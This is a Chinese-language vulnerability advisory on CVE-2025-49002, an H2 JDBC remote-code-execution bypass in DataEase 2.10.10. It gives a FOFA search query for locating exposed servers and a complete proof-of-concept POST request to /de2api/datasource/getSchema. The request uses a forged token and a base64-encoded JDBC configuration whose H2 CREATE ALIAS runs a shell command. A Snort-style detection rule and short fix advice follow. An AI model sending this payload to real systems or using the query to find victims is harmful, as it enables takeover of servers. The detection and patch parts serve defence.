跳转至

DataEase 2.10.10 H2 JDBC Bypass CVE-2025-49002 RCE

DataEase 2.10.10 H2 JDBC Bypass CVE-2025-49002 RCE，攻击者可执行任意命令导致服务器被控。

影响版本

DataEase 2.10.10

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：app="FIT2CLOUD-DataEase"

POC/EXP：

POST /de2api/datasource/getSchema HTTP/1.1
Host: 127.0.0.1
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 
Content-Type: application/json
Connection: close

{
  "id": "",
  "name": "11",
  "description": "",
  "type": "h2",
  "apiConfiguration": [],
  "paramsConfiguration": [],
  "enableDataFill": false,
  "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSVNUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhcImlkXCIpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcihcIlxcQVwiKS5uZXh0KClcXDt0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbihzKVxcO30kJFxcO0NBTEwgRVhFQygpXFw7IiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwiIHBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0"
}

image-20250821154223892

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"DataEase - H2 JDBC RCE via getSchema (CVE-2025-49002)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/de2api/datasource/getSchema";
    http.header; content:"Content-Type: application/json";
    http.request_body; content:"\"type\": \"h2\"";
    pcre:"/\"configuration\":\s*\"[^\"]*jdbc:h2:mem:[^\"]*CREATE\\s+ALIAS\\s+EXEC\\s+AS\\s*\\$\\$void\\s+exec\\(\\)\\s*throws\\s+Exception[^\"]*\"/i";
    metadata:
        cve CVE-2025-49002,
        service http,
        affected_product "DataEase 2.10.10",
        vulnerability_type "H2 JDBC Remote Code Execution",
        attack_target "database_server",
        severity "critical";
    reference:url,www.example.com/CVE-2025-49002;
    classtype:web-application-attack;
    sid:1000452;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。